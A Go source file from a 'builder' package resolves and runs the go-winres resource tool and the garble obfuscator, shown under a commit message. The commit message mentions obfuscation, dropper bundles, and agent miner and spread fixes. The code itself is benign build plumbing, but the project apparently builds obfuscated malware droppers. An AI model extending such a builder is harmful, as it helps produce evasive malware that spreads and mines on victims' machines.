WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
76 lines
1.7 KiB
Go
76 lines
1.7 KiB
Go
package builder
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
|
|
if h.goWinresPath != "" {
|
|
cmd := exec.Command(h.goWinresPath, args...)
|
|
if dir != "" {
|
|
cmd.Dir = dir
|
|
}
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
|
|
}
|
|
return out, nil
|
|
}
|
|
|
|
modDir := h.serverModDir
|
|
if modDir == "" {
|
|
modDir = "."
|
|
}
|
|
cmd := exec.Command(h.goBinPath, append([]string{"run", "github.com/tc-hib/go-winres"}, args...)...)
|
|
cmd.Dir = modDir
|
|
if dir != "" {
|
|
cmd.Dir = dir
|
|
}
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
|
|
}
|
|
return out, nil
|
|
}
|
|
|
|
func bundledToolPath(projectRoot, name string) string {
|
|
if projectRoot == "" || projectRoot == "." {
|
|
return ""
|
|
}
|
|
base := filepath.Join(projectRoot, "toolchain", "gopath", "bin")
|
|
for _, candidate := range []string{
|
|
filepath.Join(base, name),
|
|
filepath.Join(base, name+".exe"),
|
|
} {
|
|
if _, err := os.Stat(candidate); err == nil {
|
|
return candidate
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func (h *Handler) resolveToolPaths(projectRoot string) {
|
|
if h.goBinPath == "" {
|
|
h.goBinPath = "go"
|
|
}
|
|
if h.serverModDir == "" {
|
|
h.serverModDir = filepath.Join(projectRoot, "server")
|
|
}
|
|
if p, err := exec.LookPath("garble"); err == nil {
|
|
h.garblePath = p
|
|
} else if p := bundledToolPath(projectRoot, "garble"); p != "" {
|
|
h.garblePath = p
|
|
}
|
|
if p, err := exec.LookPath("go-winres"); err == nil {
|
|
h.goWinresPath = p
|
|
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
|
|
h.goWinresPath = p
|
|
} else if p := bundledToolPath(projectRoot, "go-winres"); p != "" {
|
|
h.goWinresPath = p
|
|
}
|
|
}
|